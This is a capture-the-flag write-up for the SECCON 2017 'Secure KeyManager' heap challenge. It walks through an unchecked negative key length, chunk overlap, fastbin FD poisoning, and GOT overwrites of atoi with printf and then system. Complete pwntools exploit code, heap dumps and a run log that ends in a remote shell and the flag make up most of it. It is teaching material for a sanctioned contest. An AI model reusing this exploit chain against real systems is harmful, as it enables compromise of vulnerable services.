Secure KeyManager (36 solves) (400 points)
I have developed a very very secure key manager! The key should never leak. Have a secure day :)
Host : secure_keymanager.pwn.seccon.jp Port : 47225
Attachment: secure_keymanager.zip (pw: seccon2017) xpl.py
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
_____ _ __ ___ ___
/ ___| | | / / | \/ |
\ `--. ___ ___ _ _ _ __ ___ | |/ / ___ _ _| . . | __ _ _ __ __ _ __ _ ___ _ __
`--. \/ _ \/ __| | | | '__/ _ \ | \ / _ \ | | | |\/| |/ _` | '_ \ / _` |/ _` |/ _ \ '__|
/\__/ / __/ (__| |_| | | | __/ | |\ \ __/ |_| | | | | (_| | | | | (_| | (_| | __/ |
\____/ \___|\___|\__,_|_| \___| \_| \_/\___|\__, \_| |_/\__,_|_| |_|\__,_|\__, |\___|_|
__/ | __/ |
|___/ |___/
Set Your Account Name >> AAAA
Set Your Master Pass >> BBBB
1. add
2. show
3. edit
4. remove
9. change master pass
0. exit
>>
SecureKeyManager will let you create/edit/remove keys. The show method doesn’t really help much, since it only shows the count of created keys, but not their content.
void show_key()
{
puts("id : Title / Key");
for (int i = 0; i <= 7; ++i )
{
if ( key_map[i] )
printf("%02d : ***SECRET*** / ***SECRET***\n", i);
}
}
So, let’s take a look at the remaining functions before getting into the exploit.
The key itself will contain 32 characters for a Title
and the rest of the allocated chunk will be used for the Key
. For readabilitys sake, we’ll use this pseudo struct.
struct Key {
char Title[32];
char Key[x];
}
The add method will allocate the space needed to store the key, and ask for a title and the key itself.
int add_key()
{
int idx_key = 0;
while ( idx_key <= 7 && key_map[idx_key] )
idx_key += 1;
if ( idx_key > 7 )
return puts("can't add key any more...");
puts("ADD KEY");
printf("Input key length...");
int key_length = getint();
// No checking for negative length here...
Key *key = (Key *)malloc(key_length + 32);
if ( !key )
return puts("can not allocate...");
printf("Input title...");
getnline(key->Title, 32);
printf("Input key...", 32LL);
getnline(key->Key, key_length);
key_list[idx_key] = key;
key_map[idx_key] = 1;
return idx_free_key;
}
It fails on validating our input for key length. We can enter a negative length, forcing malloc
into allocating a chunk with size 0
, which will mean doom for the binary later on. Also the allocated space doesn’t gets initialized, so we might reuse the containing data or overwrite existing data with the Title
or Key
.
int edit_key()
{
puts("EDIT KEY");
if (check_account()) // Ask for user/pass
{
printf("Input id to edit...");
int idx_key = getint();
if ( idx_key >= 0 && idx_key <= 7 )
{
if ( key_map[idx_key] )
{
printf("Input new key...");
usable_size = malloc_usable_size(key_list[idx_key]);
return getnline(key_list[idx_key] + 32, usable_size - 32);
}
else
{
return puts("not exits...");
}
}
else
{
return puts("out of length");
}
}
return 0;
}
Nothing special here. Since it checks for malloc_usable_size
and subtracts the title length here, we won’t be able to write a key, if the chunk doesn’t provides enough space for it. But we could use this, if we’re able to create a chunk in a somehow more interesting place to overwrite data.
int remove_key()
{
puts("REMOVE KEY");
if ( check_account() ) // Check for user/pass
{
printf("Input id to remove...");
int idx = getint();
if ( idx >= 0 && idx <= 7 )
{
if ( key_list[idx] )
{
free(key_list[idx]);
key_map[idx] = 0;
return idx;
}
else
return puts("not exits...");
}
else
return puts("out of length");
}
return 0;
}
The remove function frees the allocated space, but doesn’t clear the key_list
entry for it. It does indeed zero out the corresponding byte in key_map
, which is used to validate, if a key is in use or not.
The main vulnerability in this binary for me was the fact, that the entered length for the key doesn’t get validated, thus allowing us to pass a size of 0
to malloc
by specifying a key length of -32
. This will force malloc
into allocating a chunk with the minimum size of 0x21
.
So, let’s see, what could possibly go wrong in the add_key
method by doing this.
>> 1
ADD KEY
Input key length...-32
Since add_key
now adds 32 to it, for reserving space for the Title
, this will result in malloc (0)
. The reserved chunk will look like this
0x603000: 0x0000000000000000 0x0000000000000021 <== Chunk
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000020fe1 <== Top
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
There are only 24 bytes available for our chunk, so what happens when we now enter the allowed 30 bytes (getnline decreases the input size, to make sure we don’t enter too much here ;))
Input title...Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9
0x603000: 0x0000000000000000 0x0000000000000021 <== Chunk
0x603010: 0x6141316141306141 0x4134614133614132
0x603020: 0x3761413661413561 0x0000396141386141 <== Top (corrupted)
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
So, we’re able to overwrite the chunk size of the following chunk. This is good enough to make this binary stall badly :)
Our attack plan for this will be
- Corrupt the chunks on the heap to create an overlapping freed chunk
- Force malloc into giving us a chunk overlapping the
key table
in the bss - Specify a fake chunk in the
got
table, letting us overwrite thegot
entries - Overwrite
atoi
withprintf
- Leak everything
- Overwrite
atoi
withsystem
- Enjoy shell
Quick setup for communicating with the service:
#!/usr/bin/python
from pwn import *
import sys
HOST = "secure_keymanager.pwn.seccon.jp"
PORT = 47225
ACCOUNT = "A" * 8 + p16(0x71) # Fake chunksize for later ;-)
PASS = "B" * 8 + "\x00"
def add_key(len, title, key):
r.sendline("1")
r.sendlineafter("...", str(len))
r.sendlineafter("...", title)
if (key != ""):
r.sendlineafter("...", key)
r.recvuntil(">> ")
def remove_key(idx):
r.sendline("4")
r.sendafter(">> ", ACCOUNT)
r.sendafter(">> ", PASS)
r.sendlineafter("...", str(idx))
r.recvuntil(">> ")
def exploit(r):
r.sendafter(">> ", ACCOUNT)
r.sendafter(">> ", PASS)
r.recvuntil(">> ")
r.interactive()
return
if __name__ == "__main__":
e = ELF("./secure_keymanager")
if len(sys.argv) > 1:
r = remote(HOST, PORT)
exploit(r)
else:
r = process("./secure_keymanager", env={"LD_PRELOAD": "./libc-2.23.so"})
print util.proc.pidof(r)
pause()
exploit(r)
This will do the login
for the binary and it will also prepare a fake chunk size in the login credentials 0x71
, which we’ll be using later to overwrite all the stuff in the bss
.
After login, the bss
part will look like this:
$ x/30gx 0x6020c0
0x6020c0 <account>: 0x4141414141414141 0x0000000000000071 <== Account name + fake chunk size
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0 <key_list>: 0x0000000000000000 0x0000000000000000 <== Key array
0x6020f0 <key_list+16>: 0x0000000000000000 0x0000000000000000
0x602100 <key_list+32>: 0x0000000000000000 0x0000000000000000
0x602110 <key_list+48>: 0x0000000000000000 0x0000000000000000
0x602120 <key_map>: 0x0000000000000000 0x0000000000000000 <== Key map (keys in use)
0x602130 <master>: 0x4242424242424242 0x0000000000000000 <== Account password
Now, let’s forge the heap for our needs.
We’ll create a chunk with size 0x0 first. Then two fastbin chunks and a blocker chunk to avoid consolidation on free (the blocker chunk isn’t really needed, but makes it easier to understand and explain, what’s happening on the heap. It would also work without the blocker chunk, but we would be taking chunks from the top chunk then instead of unsorted bin list).
log.info("Create initial chunks (fastbins + blocker chunk)")
add_key(-32, "A" * 8, "") # Malformed chunk
add_key(100 - 32, "B" * 30, "C" * (100 - 32 - 2))
add_key(100 - 32, "D" * 30, "E" * (100 - 32 - 2))
add_key(400, "BLOCKER", "F"*100)
This produces the following heap structure
gdb-peda$ x/60gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021 <== Chunk 1 (evil one)
0x603010: 0x4141414141414141 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000071 <== Chunk 2
0x603030: 0x4242424242424242 0x4242424242424242 \
0x603040: 0x4242424242424242 0x0000424242424242 |
0x603050: 0x4343434343434343 0x4343434343434343 |
0x603060: 0x4343434343434343 0x4343434343434343 | (Chunk 2)
0x603070: 0x4343434343434343 0x4343434343434343 |
0x603080: 0x4343434343434343 0x4343434343434343 |
0x603090: 0x0000000000004343 0x0000000000000071 <== Chunk 3 /
0x6030a0: 0x4444444444444444 0x4444444444444444 \
0x6030b0: 0x4444444444444444 0x0000444444444444 |
0x6030c0: 0x4545454545454545 0x4545454545454545 |
0x6030d0: 0x4545454545454545 0x4545454545454545 | (Chunk 3)
0x6030e0: 0x4545454545454545 0x4545454545454545 |
0x6030f0: 0x4545454545454545 0x4545454545454545 |
0x603100: 0x0000000000004545 0x00000000000001c1 <== Chunk 4 /
Now, we’ll just remove our first chunk, which will place it into the fastbin list and recreate it. malloc
will see the chunk in the fastbin list and serves it again to reuse it.
log.info("Recreate first chunk and overwrite second chunk metadat")
remove_key(0)
add_key(-32, "A" * 24 + p8(0xe1), "")
With this, we’ll overwrite the size of Chunk 2 with 0xe1
, tricking malloc
into thinking, this chunk would contain all the data between 0x603030
and 0x603100
. The size must be forged this way, that it creates a valid chunk (this is fulfilled here, since it takes up the space between chunk 2 start and Chunk4 start)
0x603000: 0x0000000000000000 0x0000000000000021 <== Chunk 1
0x603010: 0x4141414141414141 0x4141414141414141
0x603020: 0x4141414141414141 0x00000000000000e1 <== Chunk 2 \
0x603030: 0x4242424242424242 0x4242424242424242 |
0x603040: 0x4242424242424242 0x0000424242424242 |
0x603050: 0x4343434343434343 0x4343434343434343 |
0x603060: 0x4343434343434343 0x4343434343434343 |
0x603070: 0x4343434343434343 0x4343434343434343 |
0x603080: 0x4343434343434343 0x4343434343434343 |
0x603090: 0x0000000000004343 0x0000000000000071 <== Chunk 3 |
0x6030a0: 0x4444444444444444 0x4444444444444444 \ |
0x6030b0: 0x4444444444444444 0x0000444444444444 ||
0x6030c0: 0x4545454545454545 0x4545454545454545 ||
0x6030d0: 0x4545454545454545 0x4545454545454545 ||
0x6030e0: 0x4545454545454545 0x4545454545454545 ||
0x6030f0: 0x4545454545454545 0x4545454545454545 ||
0x603100: 0x0000000000004545 0x00000000000001c1 <== Chunk 4 //
When we now free
chunk 2, it will see the chunk size of 0xe1
and create an overlapping freed chunk in unsorted bin list, just waiting to get served again.
log.info("Remove second chunk (creates overlapped freed chunk)")
remove_key(1)
gdb-peda$ p main_arena
$3 = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x6032c0,
last_remainder = 0x0,
bins = {0x603020, 0x603020, 0x7ffff7dd3b68 <main_arena+104>, 0x7ffff7dd3b68 <main_arena+104>, <== Chunk 2
0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b88 <main_arena+136>,
0x7ffff7dd3b88 <main_arena+136>, 0x7ffff7dd3b98 <main_arena+152>, 0x7ffff7dd3b98 <main_arena+152>,
0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3bb8 <main_arena+184>,
Now, we’ll free chunk 3 also. Since it has size 0x71
, it will be put into fastbin list, letting bin list untouched.
log.info("Remove third chunk (put to fastbin list)")
remove_key(2)
gdb-peda$ x/100gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021 <== Chunk 1 (allocated)
0x603010: 0x4141414141414141 0x4141414141414141
0x603020: 0x4141414141414141 0x00000000000000e1 <== Chunk 2 (freed)
0x603030: 0x00007ffff7dd3b58 0x00007ffff7dd3b58 <== Chunk 2 FD/BK
0x603040: 0x4242424242424242 0x0000424242424242
0x603050: 0x4343434343434343 0x4343434343434343
0x603060: 0x4343434343434343 0x4343434343434343
0x603070: 0x4343434343434343 0x4343434343434343
0x603080: 0x4343434343434343 0x4343434343434343
0x603090: 0x0000000000004343 0x0000000000000071 <== Chunk 3 (freed)
0x6030a0: 0x0000000000000000 0x4444444444444444 <== Chunk 3 FD (currently empty)
0x6030b0: 0x4444444444444444 0x0000444444444444
0x6030c0: 0x4545454545454545 0x4545454545454545
0x6030d0: 0x4545454545454545 0x4545454545454545
0x6030e0: 0x4545454545454545 0x4545454545454545
0x6030f0: 0x4545454545454545 0x4545454545454545
0x603100: 0x00000000000000e0 0x00000000000001c0 <== Chunk 4 (allocated)
gdb-peda$ p main_arena
$4 = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x603090, 0x0, 0x0, 0x0, 0x0}, <== Chunk 3
top = 0x6032c0,
last_remainder = 0x0,
bins = {0x603020, 0x603020, 0x7ffff7dd3b68 <main_arena+104>, 0x7ffff7dd3b68 <main_arena+104>, <== Chunk 2
0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b88 <main_arena+136>,
0x7ffff7dd3b88 <main_arena+136>, 0x7ffff7dd3b98 <main_arena+152>, 0x7ffff7dd3b98 <main_arena+152>,
0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3bb8 <main_arena+184>,
Now we can create another key with a size matching the one of chunk 2. malloc
will then serve us chunk 2 again, since it’s on top of the bin list, which is overlapping chunk 3, sitting in the fastbin list.
log.info("Create overlapping chunk and overwrite fastbin FD")
payload = "A"*64
payload += p64(0) + p64(0x71) # Chunk 3 header
payload += p64(0x6020c0) # Chunk 3 FD
add_key(184, "OVERWRITER", payload)
The chunk, that’s created now, overlaps chunk 3 and overwrites its metadata (and its FD
pointer)
gdb-peda$ x/100gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021 <== Chunk 1 (allocated)
0x603010: 0x4141414141414141 0x4141414141414141
0x603020: 0x4141414141414141 0x00000000000000e1 <== Chunk 2 (allocated)
0x603030: 0x544952575245564f 0x00007fff00005245
0x603040: 0x4242424242424242 0x0000424242424242
0x603050: 0x4141414141414141 0x4141414141414141
0x603060: 0x4141414141414141 0x4141414141414141
0x603070: 0x4141414141414141 0x4141414141414141
0x603080: 0x4141414141414141 0x4141414141414141
0x603090: 0x0000000000000000 0x0000000000000071 <== Chunk 3 (freed)
0x6030a0: 0x00000000006020c0 0x444444444444000a <== Chunk 3 FD (now pointing to key array)
0x6030b0: 0x4444444444444444 0x0000444444444444
0x6030c0: 0x4545454545454545 0x4545454545454545
0x6030d0: 0x4545454545454545 0x4545454545454545
0x6030e0: 0x4545454545454545 0x4545454545454545
0x6030f0: 0x4545454545454545 0x4545454545454545
0x603100: 0x00000000000000e0 0x00000000000001c1 <== Chunk 4 (allocated)
$ x/30gx 0x6020c0
0x6020c0 <account>: 0x4141414141414141 0x0000000000000071 <== Account name + fake chunk size
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0 <key_list>: 0x0000000000000000 0x0000000000000000 <== Key array
0x6020f0 <key_list+16>: 0x0000000000000000 0x0000000000000000
0x602100 <key_list+32>: 0x0000000000000000 0x0000000000000000
0x602110 <key_list+48>: 0x0000000000000000 0x0000000000000000
0x602120 <key_map>: 0x0000000000000000 0x0000000000000000 <== Key map (keys in use)
0x602130 <master>: 0x4242424242424242 0x0000000000000000 <== Account password
By this, we now have a fastbin chunk, whose FD
pointer points to the fake chunk, we created in the beginning in our account
object. Adding another key with size 0x71
will put this FD
pointer into the fastbin list, and the next key, which will be added, will be created on top of the key list
array.
log.info("Create chunk to get fake FD into fastbin")
add_key(100-32, "B"*30, "C")
log.info("Create chunk to overwrite pointer table")
payload1 += p64(0x602030) # key0
payload1 += p64(0xcafebabe)[:6] # key1
payload2 = p64(0xcafebabe) # key2
payload2 += p64(0xcafebabe) # key3
payload2 += p64(0xcafebabe) # key4 (unusable)
payload2 += p64(0xcafebabe) # key5
payload2 += p64(0xcafebabe) # key6
payload2 += p64(0xcafebabe) # key7
payload2 += p64(0x0101010101010101) # keymap
add_key(100-32, payload1, payload2)
Adding this key will overwrite the top portion of the bss structure with the Title
in payload1
and the bottom part with Key
in payload2
.
The bss will now look like this
0x6020c0 <account>: 0x4141414141414141 0x0000000000000071 <== Fake chunk
0x6020d0: 0x4141414141414141 0x4141414141414141
0x6020e0 <key_list>: 0x0000000000602030 0x000a0000cafebabe <== Our payload data
0x6020f0 <key_list+16>: 0x000a0000cafebabe 0x000a0000cafebabe
0x602100 <key_list+32>: 0x00000000006020d0 0x00000000cafebabe
0x602110 <key_list+48>: 0x00000000cafebabe 0x00000000cafebabe
0x602120 <key_map>: 0x0101010101010101 0x000000000000000a <== key_map (all keys active)
0x602130 <master>: 0x4242424242424242 0x0000000000000000
Our first key now points to 0x602030
which is inside the got
table
0x602000: 0x0000000000601e28 0x00007ffff7ffe170
0x602010: 0x00007ffff7deecc0 0x00007ffff7ab7510
0x602020: 0x00007ffff7aa4f90 0x00000000004006c6 <== puts / __stack_chk_fail
0x602030: 0x00007ffff7aabac0 0x00007ffff7aba9e0 <== setbuf / strchr
0x602040: 0x00007ffff7a8b190 0x0000000000400706 <== printf / malloc_usable_size
0x602050: 0x00007ffff7b176b0 0x00007ffff7a5c1f0 <== read / __libc_start_main
0x602060: 0x00007ffff7acb520 0x00007ffff7ab6f10 <== strcmp / malloc
0x602070: 0x00007ffff7a70280 0x0000000000000000 <== atoi
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
If we now try to edit Key 0
, edit_key
will call malloc_usable_size
on 0x602030
resulting in an allowed size of 0x4006b0
, which should be enough for us to overwrite everything we need :)
Since we have no leaks by now, we’ll use this to replace atoi
with printf
. So everytime the menu
handler tries to convert our input to an integer, it will instead call printf
with our input, creating a format string vulnerability.
log.info("Overwrite atoi with printf plt")
newgot = p64(e.plt["read"] + 6) + p64(e.plt["__libc_start_main"] + 6)
newgot += p64(e.plt["strcmp"] + 6) + p64(e.plt["malloc"] +6)
newgot += p64(e.plt["printf"] + 6) # atoi got
edit_key(0, newgot)
For calling something in the menu from now on, we’ll have to consider the fact, that after overwriting atoi
with printf
, the menu handler will no longer be able to convert our input into an integer. Though, printf will return the count of characters printed out, so we can still select 3
for examply by just printing 3 characters instead.
def edit_key(idx, new_key, fakeAtoi=False):
if fakeAtoi:
r.sendline("...")
else:
r.sendline("3")
r.sendafter(">> ", ACCOUNT)
r.sendafter(">> ", PASS)
if fakeAtoi:
r.sendlineafter("...", "."*idx)
else:
r.sendlineafter("...", str(idx))
r.sendlineafter("...", new_key)
r.recvuntil(">> ")
So, we’re on the finish line, let’s leak libc address
log.info("Leak LIBC with format string")
r.sendline("%3$p")
LIBCLEAK = int(r.recvline().strip(), 16)
r.recvuntil(">> ")
libc = ELF("./libc-2.23.so")
libc.address = LIBCLEAK - 0xf7230
log.info("LIBC leak : %s" % hex(LIBCLEAK))
log.info("LIBC : %s" % hex(libc.address))
With libc on hand, it’s just another overwrite, replacing atoi
with system
log.info("Overwrite atoi with system")
newgot = p64(e.plt["read"] + 6) + p64(e.plt["__libc_start_main"] + 6)
newgot += p64(e.plt["strcmp"] + 6) + p64(e.plt["malloc"] +6)
newgot += p64(libc.symbols["system"])
edit_key(0, newgot, True)
atoi
now points to system
. So everything, we now enter in the menu handler, will be passed to system
instead of printf
.
Select /bin/sh
to trigger a shell
log.info("Send /bin/sh to trigger shell")
r.sendline("/bin/sh")
r.interactive()
Done…
$ python work.py 1
[*] '/home/kileak/pwn/Challenges/seccon/secure/secure_keymanager'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to secure_keymanager.pwn.seccon.jp on port 47225: Done
[*] Create initial chunks (fastbins + blocker chunk)
[*] Recreate first chunk and overwrite second chunk metadat
[*] Remove second chunk (creates overlapped freed chunk)
[*] Remove third chunk (put to fastbin list)
[*] Create overlapping chunk and overwrite fastbin FD
[*] Create chunk to get fake FD into fastbin
[*] Create chunk to overwrite pointer table
[*] Overwrite atoi with printf plt
[*] Leak LIBC with format string
[*] '/home/kileak/pwn/Challenges/seccon/secure/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] LIBC leak : 0x7fcd20214230
[*] LIBC : 0x7fcd2011d000
[*] Overwrite atoi with system
[*] Send /bin/sh to trigger shell
[*] Switching to interactive mode
$ ls
flag.txt
secure_keymanager
$ cat flag.txt
SECCON{C4n_y0u_b347_h34p_45lr?}